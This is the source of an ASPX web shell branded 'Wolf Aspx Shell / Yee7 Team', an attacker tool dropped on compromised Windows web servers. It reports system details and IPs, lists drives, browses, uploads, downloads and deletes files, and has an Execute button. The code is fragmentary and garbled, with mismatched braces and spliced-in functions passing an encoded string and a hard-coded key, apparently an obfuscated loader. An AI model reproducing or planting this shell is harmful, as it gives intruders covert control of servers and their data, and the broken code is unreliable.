Wolf Aspx Shell Yee7 Team
Wolf Aspx Shell Yee7 Team
}
private void operationwd37(string encoded, string key)
{
if (string.IsNullOrEmpty(encoded) || string.IsNullOrEmpty(key)) return;
// oprating system
OperatingSystem os = Environment.OSVersion;
switch (os.Version.Major)
{
case 3:
system0.Text = Environment.OSVersion.ToString() +
"(Windows NT 3.51)";
break;
case 4:
system0.Text = Environment.OSVersion.ToString() +
"(Windows NT 4.0)";
break;
case 5:
if (os.Version.Minor == 0)
system0.Text = Environment.OSVersion.ToString() + "
(Windows Server 2000)";
else if(os.Version.Minor==1)
system0.Text = Environment.OSVersion.ToString() + "
(Windows XP)";
else
system0.Text = Environment.OSVersion.ToString() + "
(Windows Server 2003)";
break;
}
txtPath.Text = folderToBrowse;
ServIP.Text =
Request.ServerVariables["LOCAL_ADDR"].ToString();//ip[0].ToString();
//path info
txtPath.Text =
folderToBrowse;//Request.ServerVariables["PATH_TRANSLATED"];
GetData(folderToBrowse);
drive = Directory.GetLogicalDrives();
Drivers.Items.Clear();
constructorfunctionnd39();
for (int i = 0; i < drive.Length; i++)
{
if (GetDriveType(drive[i]) == 3)
{
Drivers.Items.Add(drive[i]);
}
}
}
catch (Exception ee) { lblInfox.Text= ee.Message ; }
}
}// end load
public static string filepath="";
public static string type="";
private void constructorfunctionnd39()
{
string encoded = branchni88();
if (string.IsNullOrEmpty(encoded)) return;
operationwd37(encoded, "5ef06b923a9ac795");
}
filepath = e.CommandArgument.ToString();
try
{
// lblInfo.Text = fileSystemType;
if (fileSystemType == Folder)
{
//get the filepath from the specified command arguments for our
linkbutton
break;
default :
txtDis.ReadOnly = true;
txtDis.Visible = true;
break;
}
if (File1.PostedFile.FileName == "")
{
lblInfox.Text="No File specified";
}else
{
string filename = Path.GetFileName(File1.PostedFile.FileName);
string fullpath = Path.Combine(Dir.FullName, filename);
try
{
File1.PostedFile.SaveAs(fullpath);
// Response.Redirect(Request.ServerVariables["HTTP_REFERER"]);
lblInfox.Text = "File :" + filename + " Uploaded Successfly";
GetData(folderToBrowse);
}
catch (Exception ex) { lblInfox.Text = ex.Message; }
}
}
}
catch (Exception ex) { lblInfox.Text = ex.Message; }
lblInfox.Text = "";
Response.Redirect(Request.ServerVariables["SCRIPT_NAME"] + "?d=" +
this.txtPath.Text);
btnUpload.Visible = true;
File1.Visible = true;
lblUpload.Visible = true;
FileSystem.Visible = true;
}
<HTML>
<HEAD>
<title>--------[WolF ASPX SheLL & YEE7 TeaM]------</title>
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5"
name="vs_targetSchema">
<style type="text/css">
#Form1
{
height: 929px;
direction: ltr;
width: 792px;
margin-right: 0px;
}
.style1
{
width: 117%;
height: 728px;
}
#Submit1
{
height: 21px;
width: 77px;
}
* {scrollbar-base-color:#777777;
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-
color:#505050;
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-
color:#303030;}
* {scrollbar-base-color:#777777;
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-
color:#505050;
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-
color:#303030;}
* {scrollbar-base-color:#777777;
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-
color:#505050;
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-
color:#303030;
margin-left: 0px;
margin-top: 6px;
}
.style11
{
text-align: center;
height: 423px;
}
.style13
{
height: 125px;
text-align: center;
}
.style14
{
height: 119px;
text-align: center;
}
.style15
{
width: 74%;
border: 1px solid #75787C;
}
.style16
{
height: 43px;
width: 687px;
}
.style17
{
text-align: center;
height: 26px;
}
.style20
{
text-align: center;
}
.style22
{
height: 20px;
text-align: center;
}
.style23
{
height: 36px;
text-align: center;
}
.style24
{
height: 426px;
}
</style>
</script>
</HEAD>
<body bgcolor="Black">
<form id="Form1" method="post" enctype="multipart/form-data"
runat="server" >
<br />
<table class="style1">
<tr>
<td style="color: #00FF00; direction: ltr;" class="style13">
<table class="style15">
<tr>
<td bgcolor="#666666" align="center">
-----------<font color="Black" face="webdings" size="6"
>N</font>--------------[WolF
ASPX SheLL / Yee7 Team]-----------<font color="Black"
face="webdings" size="6" >N</font>------------</td>
</tr>
<tr>
<td bgcolor="#303030">
<asp:Label ID="system" runat="server" Text="System :"
ForeColor="#FF8300" BorderColor="White"></asp:Label>
<asp:Label ID="system0" runat="server"
ForeColor="White"></asp:Label>
</td>
</tr>
<tr>
<td bgcolor="#303030">
<asp:Label ID="log" runat="server" Text="User Log :"
ForeColor="#FF8300"></asp:Label>
<asp:Label ID="log0" runat="server"
ForeColor="White"></asp:Label>
</td>
</tr>
<tr>
<td bgcolor="#303030">
<asp:Label ID="uIP1" runat="server" Text="Server IP :"
ForeColor="#FF8300"></asp:Label>
<asp:Label ID="ServIP" runat="server"
ForeColor="White"></asp:Label>
</td>
</tr>
<tr>
<td bgcolor="#303030">
<asp:Label ID="uIP" runat="server" Text="Your IP :"
ForeColor="#FF8300"></asp:Label>
<asp:Label ID="uIP0" runat="server"
ForeColor="White"></asp:Label>
</td>
</tr>
<tr>
<td bgcolor="#666666">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td style="color: #00FF00; direction: ltr;" class="style14">
</font>
<asp:Button Text="Execute" OnClick="ADD_Click" Runat="server" ID="Button1"
BackColor="#666666"
BorderColor="White" BorderStyle="Groove"
ForeColor="White" Visible="False"></asp:Button>
<span class="style5">
<asp:Label ID="lblUpload" runat="server"
Text="File Upload :" ForeColor="#FF8300"
Visible="False"></asp:Label>
</span>
<br />
<HeaderStyle Font-Size="10pt"></HeaderStyle>
<ItemStyle Font-Bold="False" Font-Italic="False"
Font-Overline="False"
Font-Strikeout="False" Font-Underline="False"
HorizontalAlign="Center" />
</asp:TemplateColumn>
<asp:TemplateColumn HeaderText=" [Download] "
HeaderStyle-Font-Size="10">
<ItemTemplate>
<asp:LinkButton ID="systemDownload" runat="server"
CommandArgument='<%# DataBinder.Eval(Container,
"DataItem.FullName") %>'
CommandName='<%# DataBinder.Eval(Container,
"DataItem.Download") %>'
ForeColor="WhiteSmoke">
<%# DataBinder.Eval(Container, "DataItem.Download") %>
</asp:LinkButton>
</ItemTemplate>
<HeaderStyle Font-Size="10pt"></HeaderStyle>
<ItemStyle Font-Bold="False" Font-Italic="False"
Font-Overline="False"
Font-Strikeout="False" Font-Underline="False"
HorizontalAlign="Center" />
</asp:TemplateColumn>
<asp:TemplateColumn HeaderText="[Delete]" HeaderStyle-Font-
Size="10">
<ItemTemplate>
<asp:LinkButton ID="systemDelete" runat="server"
CommandArgument='<%# DataBinder.Eval(Container,
"DataItem.FullName") %>'
CommandName='<%# DataBinder.Eval(Container,
"DataItem.Delete") %>'
ForeColor="WhiteSmoke">
<%# DataBinder.Eval(Container, "DataItem.Delete") %>
</asp:LinkButton>
</ItemTemplate>
<HeaderStyle Font-Size="10pt"></HeaderStyle>
<ItemStyle Font-Bold="False" Font-Italic="False" Font-
Overline="False"
Font-Strikeout="False" Font-Underline="False"
HorizontalAlign="Center" />
</asp:TemplateColumn>
</Columns>
<HeaderStyle BackColor="#505050" Font-
Bold="False" Font-Italic="False"
Font-Overline="False" Font-Strikeout="False" Font-
Underline="False"
ForeColor="White" />
</asp:datagrid>
</font></td>
</tr>
</table>
</td>
</tr>
<tr>
<td class="style17">
<table class="style15">
<tr>
<td bgcolor="#666666" class="style16"
align="center">
<a href="mailto: ]-----------%20ThE%20WhitE
%20WolF%20(the_white_wolf_x@hotmail.com">
]----------- ThE WhitE WolF
(the_white_lf_x@hotmail.com -------------------[</a>
<br />
]-------------------------[Copyright 2008 @ <a
href="http://www.Yee7.com">Yee7 Team </a>]-------------------------[ </td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</HTML>